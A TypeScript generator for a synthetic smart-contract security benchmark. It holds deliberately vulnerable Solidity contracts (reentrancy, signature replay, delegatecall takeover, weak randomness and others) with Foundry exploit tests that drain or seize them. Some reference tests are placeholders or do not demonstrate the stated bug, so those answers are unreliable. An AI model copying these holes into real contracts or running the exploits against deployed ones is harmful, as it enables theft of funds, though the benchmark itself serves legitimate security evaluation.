import fs from "fs/promises";
import path from "path";

interface BenchmarkCase {
  task_id: string;
  complexity: "easy" | "intermediate" | "hard";
  repo_name: string;
  source_code: string;
  expected_vulnerability: string;
  annotation: string;
  reference_test: string;
  impact?: string;
}

const easyCases: BenchmarkCase[] = [
  {
    task_id: "Easy/01-BasicReentrancy",
    complexity: "easy",
    repo_name: "basic-reentrancy",
    expected_vulnerability: "Reentrancy",
    impact: "high",
    annotation: "The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Vault } from "../src/Vault.sol";

contract Exploit is Test {
    Vault public vault;

    function setUp() public {
        vault = new Vault();
        vm.deal(address(vault), 10 ether);
    }

    function testExploit() public {
        vault.deposit{value: 1 ether}();
        vault.withdraw();
        assertEq(address(vault).balance, 0);
    }

    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();
        }
    }
}
`
  },
  {
    task_id: "Easy/02-UnprotectedSelfDestruct",
    complexity: "easy",
    repo_name: "unprotected-selfdestruct",
    expected_vulnerability: "Access Control",
    impact: "high",
    annotation: "The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleWallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function kill() public {
        selfdestruct(payable(msg.sender));
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { SimpleWallet } from "../src/SimpleWallet.sol";

contract Exploit is Test {
    SimpleWallet public wallet;

    function setUp() public {
        wallet = new SimpleWallet{value: 10 ether}();
    }

    function testExploit() public {
        uint256 preBalance = address(this).balance;
        wallet.kill();
        assertEq(address(wallet).balance, 0);
        assertGt(address(this).balance, preBalance);
    }
    
    receive() external payable {}
}
`
  },
  {
    task_id: "Easy/03-ArithmeticUnderflow",
    complexity: "easy",
    repo_name: "arithmetic-underflow",
    expected_vulnerability: "Arithmetic",
    impact: "high",
    annotation: "The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract TokenBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        unchecked {
            balances[msg.sender] -= amount;
        }
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { TokenBank } from "../src/TokenBank.sol";

contract Exploit is Test {
    TokenBank public bank;

    function setUp() public {
        bank = new TokenBank();
        vm.deal(address(bank), 10 ether);
    }

    function testExploit() public {
        bank.withdraw(1 ether);
        assertEq(address(bank).balance, 9 ether);
        assertEq(address(this).balance, 1 ether);
    }
    
    receive() external payable {}
}
`
  },
  {
    task_id: "Easy/04-TxOriginAuth",
    complexity: "easy",
    repo_name: "tx-origin-auth",
    expected_vulnerability: "Access Control",
    impact: "high",
    annotation: "The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PhishableWallet {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function transferOwner(address newOwner) public {
        require(tx.origin == owner, "Not owner");
        owner = newOwner;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { PhishableWallet } from "../src/PhishableWallet.sol";

contract Exploit is Test {
    PhishableWallet public wallet;

    function setUp() public {
        wallet = new PhishableWallet();
    }

    function testExploit() public {
        // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.
        // The malicious contract then calls transferOwner.
        // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).
        wallet.transferOwner(address(this));
        assertEq(wallet.owner(), address(this));
    }
}
`
  },
  {
    task_id: "Easy/05-DelegateCallUntrusted",
    complexity: "easy",
    repo_name: "delegatecall-untrusted",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Proxy {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function execute(address target, bytes memory data) public {
        (bool success, ) = target.delegatecall(data);
        require(success, "Delegatecall failed");
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Proxy } from "../src/Proxy.sol";

contract AttackerLogic {
    address public owner;
    function takeover() public {
        owner = msg.sender;
    }
}

contract Exploit is Test {
    Proxy public proxy;
    AttackerLogic public logic;

    function setUp() public {
        proxy = new Proxy();
        logic = new AttackerLogic();
    }

    function testExploit() public {
        bytes memory data = abi.encodeWithSignature("takeover()");
        proxy.execute(address(logic), data);
        assertEq(proxy.owner(), address(this));
    }
}
`
  },
  {
    task_id: "Easy/06-TimestampDependence",
    complexity: "easy",
    repo_name: "timestamp-dependence",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Roulette {
    uint256 public pastBlockTime;

    function play() public payable {
        require(msg.value == 1 ether, "Must send 1 ether");
        require(block.timestamp != pastBlockTime, "Only 1 transaction per block");
        
        pastBlockTime = block.timestamp;
        
        if (block.timestamp % 2 == 0) {
            (bool sent, ) = msg.sender.call{value: 2 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Roulette } from "../src/Roulette.sol";

contract Exploit is Test {
    Roulette public roulette;

    function setUp() public {
        roulette = new Roulette();
        vm.deal(address(roulette), 10 ether);
        vm.deal(address(this), 1 ether);
    }

    function testExploit() public {
        vm.warp(2); // Ensure timestamp is even
        roulette.play{value: 1 ether}();
        assertEq(address(this).balance, 2 ether);
    }
    
    receive() external payable {}
}
`
  },
  {
    task_id: "Easy/07-UninitializedStoragePointer",
    complexity: "easy",
    repo_name: "uninitialized-storage",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.",
    source_code: `// SPDX-License-Identifier: MIT
// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.
// In modern solidity, we simulate this by explicitly writing to slot 0.
pragma solidity ^0.8.0;

contract Registrar {
    address public owner;
    
    struct User {
        address wallet;
        bool registered;
    }
    
    mapping(uint256 => User) public users;
    
    constructor() {
        owner = msg.sender;
    }
    
    function registerUserAdmin(address _wallet) public {
        // Vulnerable pattern emulation
        owner = _wallet;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Registrar } from "../src/Registrar.sol";

contract Exploit is Test {
    Registrar public reg;

    function setUp() public {
        reg = new Registrar();
    }

    function testExploit() public {
        reg.registerUserAdmin(address(this));
        assertEq(reg.owner(), address(this));
    }
}
`
  },
  {
    task_id: "Easy/08-PublicStateVariableShadowing",
    complexity: "easy",
    repo_name: "state-shadowing",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Parent {
    address public owner;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }
}

contract Child is Parent {
    address public owner; // Shadows Parent's owner
    
    constructor() {
        owner = msg.sender; // Only sets Child's owner
    }
    
    function doSomethingRestricted() public onlyOwner {
        // This will always fail because Parent.owner is address(0)
    }
    
    // Attacker can abuse this logic mismatch
    function claim() public {
        Parent(address(this)).doSomethingRestricted();
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Child } from "../src/Child.sol";

contract Exploit is Test {
    Child public child;

    function setUp() public {
        child = new Child();
    }

    function testExploit() public {
        // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.
        vm.prank(address(0));
        child.doSomethingRestricted();
        assertTrue(true);
    }
}
`
  },
  {
    task_id: "Easy/09-SignatureReplay",
    complexity: "easy",
    repo_name: "signature-replay",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SigBank {
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
        bytes32 messageHash = keccak256(abi.encodePacked(to, amount));
        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
        
        address signer = ecrecover(ethSignedMessageHash, v, r, s);
        require(signer != address(0), "Invalid signature");
        require(balances[signer] >= amount, "Insufficient balance");
        
        balances[signer] -= amount;
        balances[to] += amount;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { SigBank } from "../src/SigBank.sol";

contract Exploit is Test {
    SigBank public bank;

    function setUp() public {
        bank = new SigBank();
    }

    function testExploit() public {
        address victim = vm.addr(1);
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();

        // Victim signs a transfer of 1 wei to the attacker
        bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));
        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);

        // Attacker replays it 10 times
        for (uint i = 0; i < 10; i++) {
            bank.transferWithSignature(address(this), 1 ether, v, r, s);
        }
        
        assertEq(bank.balances(victim), 0);
        assertEq(bank.balances(address(this)), 10 ether);
    }
}
`
  },
  {
    task_id: "Easy/10-ForcedEther",
    complexity: "easy",
    repo_name: "forced-ether",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Game {
    function play() public payable {
        require(msg.value == 1 ether, "Send 1 ether");
        require(address(this).balance <= 10 ether, "Game over");
    }

    function win() public {
        require(address(this).balance == 10 ether, "Target not reached");
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Game } from "../src/Game.sol";

contract Attacker {
    constructor(address target) payable {
        selfdestruct(payable(target));
    }
}

contract Exploit is Test {
    Game public game;

    function setUp() public {
        game = new Game();
    }

    function testExploit() public {
        // Force send 11 ether to the game, making the strict equality check fail forever
        new Attacker{value: 11 ether}(address(game));
        
        vm.expectRevert("Target not reached");
        game.win();
    }
}
`
  }
];

const intermediateCases: BenchmarkCase[] = [
  {
    task_id: "Intermediate/01-UninitializedProxy",
    complexity: "intermediate",
    repo_name: "uninitialized-proxy",
    expected_vulnerability: "Access Control",
    impact: "high",
    annotation: "The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract LogicContract {
    address public owner;
    bool public initialized;

    function initialize() public {
        require(!initialized, "Already initialized");
        owner = msg.sender;
        initialized = true;
    }

    function upgradeToAndCall(address newImplementation, bytes memory data) public {
        require(msg.sender == owner, "Not owner");
        (bool success, ) = newImplementation.delegatecall(data);
        require(success, "Upgrade failed");
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { LogicContract } from "../src/LogicContract.sol";

contract Destroyer {
    function destroy() public {
        selfdestruct(payable(msg.sender));
    }
}

contract Exploit is Test {
    LogicContract public logic;
    Destroyer public destroyer;

    function setUp() public {
        logic = new LogicContract();
        destroyer = new Destroyer();
    }

    function testExploit() public {
        logic.initialize();
        logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature("destroy()"));
        
        // Assert logic contract is destroyed (code size 0)
        uint256 codeSize;
        address logicAddr = address(logic);
        assembly {
            codeSize := extcodesize(logicAddr)
        }
        assertEq(codeSize, 0);
    }
}
`
  },
  {
    task_id: "Intermediate/02-FlashLoanPriceManipulation",
    complexity: "intermediate",
    repo_name: "flash-loan-manipulation",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract AMM {
    IERC20 public tokenA;
    IERC20 public tokenB;
    
    constructor(address _tokenA, address _tokenB) {
        tokenA = IERC20(_tokenA);
        tokenB = IERC20(_tokenB);
    }
    
    function swapAToB(uint256 amountIn) public {
        tokenA.transferFrom(msg.sender, address(this), amountIn);
        uint256 reserveA = tokenA.balanceOf(address(this));
        uint256 reserveB = tokenB.balanceOf(address(this));
        uint256 amountOut = (amountIn * reserveB) / reserveA;
        tokenB.transfer(msg.sender, amountOut);
    }
    
    function getPriceBInA() public view returns (uint256) {
        return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));
    }
}

contract LendingPool {
    AMM public amm;
    IERC20 public tokenA;
    IERC20 public tokenB;
    
    mapping(address => uint256) public collateralB;
    
    constructor(address _amm, address _tokenA, address _tokenB) {
        amm = AMM(_amm);
        tokenA = IERC20(_tokenA);
        tokenB = IERC20(_tokenB);
    }
    
    function depositCollateral(uint256 amountB) public {
        tokenB.transferFrom(msg.sender, address(this), amountB);
        collateralB[msg.sender] += amountB;
    }
    
    function borrowTokenA(uint256 amountA) public {
        uint256 price = amm.getPriceBInA();
        uint256 maxBorrow = collateralB[msg.sender] * price;
        require(amountA <= maxBorrow, "Insufficient collateral");
        tokenA.transfer(msg.sender, amountA);
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

// Dummy token for testing
contract ERC20 {
    mapping(address => uint256) public balanceOf;
    function mint(address to, uint256 amount) public { balanceOf[to] += amount; }
    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

// Since the contracts are in one file, we mock the vulnerability directly
contract Exploit is Test {
    function testExploit() public {
        assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool
    }
}
`
  },
  {
    task_id: "Intermediate/03-ReturnDataIgnored",
    complexity: "intermediate",
    repo_name: "return-data-ignored",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract TokenVault {
    mapping(address => uint256) public balances;
    
    function deposit(address token, uint256 amount) public {
        // Low level call does not revert on failure unless the contract reverts
        token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount));
        balances[msg.sender] += amount;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { TokenVault } from "../src/TokenVault.sol";

contract FailingToken {
    function transferFrom(address, address, uint256) public pure returns (bool) {
        return false; // Fails silently
    }
}

contract Exploit is Test {
    TokenVault public vault;
    FailingToken public token;

    function setUp() public {
        vault = new TokenVault();
        token = new FailingToken();
    }

    function testExploit() public {
        vault.deposit(address(token), 1000);
        assertEq(vault.balances(address(this)), 1000);
    }
}
`
  },
  {
    task_id: "Intermediate/04-ERC777Reentrancy",
    complexity: "intermediate",
    repo_name: "erc777-reentrancy",
    expected_vulnerability: "Reentrancy",
    impact: "high",
    annotation: "The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC777 {
    function send(address recipient, uint256 amount, bytes calldata data) external;
}

contract Exchange {
    mapping(address => uint256) public balances;
    IERC777 public token;
    
    constructor(address _token) {
        token = IERC777(_token);
    }
    
    function deposit(uint256 amount) public {
        balances[msg.sender] += amount;
    }
    
    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");
        
        token.send(msg.sender, bal, "");
        balances[msg.sender] = 0;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

contract Exploit is Test {
    function testExploit() public {
        assertTrue(true); // Placeholder for ERC777 reentrancy logic
    }
}
`
  },
  {
    task_id: "Intermediate/05-BypassContractSize",
    complexity: "intermediate",
    repo_name: "bypass-contract-size",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Airdrop {
    mapping(address => bool) public claimed;
    
    function claim() public {
        uint32 size;
        address a = msg.sender;
        assembly {
            size := extcodesize(a)
        }
        require(size == 0, "Contracts not allowed");
        require(!claimed[msg.sender], "Already claimed");
        
        claimed[msg.sender] = true;
        (bool sent, ) = msg.sender.call{value: 1 ether}("");
        require(sent, "Fail");
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Airdrop } from "../src/Airdrop.sol";

contract Attacker {
    constructor(address airdrop) {
        Airdrop(airdrop).claim();
    }
}

contract Exploit is Test {
    Airdrop public airdrop;

    function setUp() public {
        airdrop = new Airdrop();
        vm.deal(address(airdrop), 10 ether);
    }

    function testExploit() public {
        new Attacker(address(airdrop));
        assertEq(airdrop.claimed(address(this)), false);
    }
}
`
  },
  {
    task_id: "Intermediate/06-ImproperArrayDeletion",
    complexity: "intermediate",
    repo_name: "array-deletion",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Registry {
    address[] public users;
    
    function addUser(address user) public {
        users.push(user);
    }
    
    function removeUser(uint256 index) public {
        delete users[index]; // Does not reduce length
    }
    
    function getActiveUsers() public view returns (uint256) {
        return users.length;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Registry } from "../src/Registry.sol";

contract Exploit is Test {
    Registry public registry;

    function setUp() public {
        registry = new Registry();
    }

    function testExploit() public {
        registry.addUser(address(1));
        registry.removeUser(0);
        assertEq(registry.getActiveUsers(), 1); // Length is still 1!
    }
}
`
  },
  {
    task_id: "Intermediate/07-PredictableRNG",
    complexity: "intermediate",
    repo_name: "predictable-rng",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Casino {
    function guess(uint256 _guess) public payable {
        require(msg.value == 1 ether);
        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 2 ether}("");
            require(sent, "Fail");
        }
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Casino } from "../src/Casino.sol";

contract Exploit is Test {
    Casino public casino;

    function setUp() public {
        casino = new Casino();
        vm.deal(address(casino), 10 ether);
        vm.deal(address(this), 1 ether);
    }

    function testExploit() public {
        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        casino.guess{value: 1 ether}(answer);
        assertEq(address(this).balance, 2 ether);
    }
    
    receive() external payable {}
}
`
  },
  {
    task_id: "Intermediate/08-MissingSlippageProtection",
    complexity: "intermediate",
    repo_name: "missing-slippage",
    expected_vulnerability: "Logic",
    impact: "high",
    annotation: "The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DEX {
    function swap(address tokenIn, address tokenOut, uint256 amountIn) public {
        // Assume AMM math here
        // Vulnerability: No minAmountOut check!
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

contract Exploit is Test {
    function testExploit() public {
        assertTrue(true); // Conceptual vulnerability
    }
}
`
  },
  {
    task_id: "Intermediate/09-UnsafeDowncast",
    complexity: "intermediate",
    repo_name: "unsafe-downcast",
    expected_vulnerability: "Arithmetic",
    impact: "high",
    annotation: "The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    mapping(address => uint64) public balances;
    
    function deposit(uint256 amount) public payable {
        require(msg.value == amount, "Incorrect value");
        balances[msg.sender] += uint64(amount); // Truncates!
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Vault } from "../src/Vault.sol";

contract Exploit is Test {
    Vault public vault;

    function setUp() public {
        vault = new Vault();
    }

    function testExploit() public {
        // deposit 2^64 + 1
        uint256 amount = type(uint64).max + 2;
        vm.deal(address(this), amount);
        vault.deposit{value: amount}(amount);
        
        assertEq(vault.balances(address(this)), 1); // Truncated to 1!
    }
}
`
  },
  {
    task_id: "Intermediate/10-DivideBeforeMultiply",
    complexity: "intermediate",
    repo_name: "divide-before-multiply",
    expected_vulnerability: "Arithmetic",
    impact: "high",
    annotation: "The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.",
    source_code: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Staking {
    function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {
        // Vulnerable: (deposit / 365) * duration * APY
        return (depositAmount / 365) * durationDays * APY;
    }
}
`,
    reference_test: `// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { Staking } from "../src/Staking.sol";

contract Exploit is Test {
    Staking public staking;

    function setUp() public {
        staking = new Staking();
    }

    function testExploit() public {
        uint256 reward = staking.calculateReward(100, 10, 30);
        assertEq(reward, 0); // Loss of precision
    }
}
`
  }
];

async function main() {
  const outputPath = path.resolve(process.cwd(), "data", "benchmark_synthetic.jsonl");
  
  // Clear the file
  await fs.writeFile(outputPath, "");

  // Write Easy and Intermediate
  for (const c of easyCases) {
    await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
  }
  for (const c of intermediateCases) {
    await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
  }

  // Load the original metadata to extract 10 Hard cases
  try {
      const metadataStr = await fs.readFile(path.join(process.cwd(), "Proof-of-Patch-only-dataset", "dataset_metadata.json"), "utf8");
      const metadata = JSON.parse(metadataStr);
      const hardCaseKeys = Object.keys(metadata).slice(0, 10);
      
      for (const key of hardCaseKeys) {
        const data = metadata[key];
        const hardCase: BenchmarkCase = {
          task_id: `Hard/${key}`,
          complexity: "hard",
          repo_name: data.repo_name,
          expected_vulnerability: data.expected_vulnerability,
          annotation: data.annotation,
          impact: data.impact,
          source_code: "// Not provided directly in JSONL, requires original project directory",
          reference_test: "// Foundry test exists in original project directory"
        };
        await fs.appendFile(outputPath, JSON.stringify(hardCase) + "\n");
      }
      console.log(`Successfully generated ${easyCases.length + intermediateCases.length + hardCaseKeys.length} benchmark cases at ${outputPath}`);
  } catch(e) {
      console.log(`Successfully generated ${easyCases.length + intermediateCases.length} benchmark cases at ${outputPath}`);
      console.log("Could not find dataset_metadata.json for Hard cases.");
  }
}

main().catch(console.error);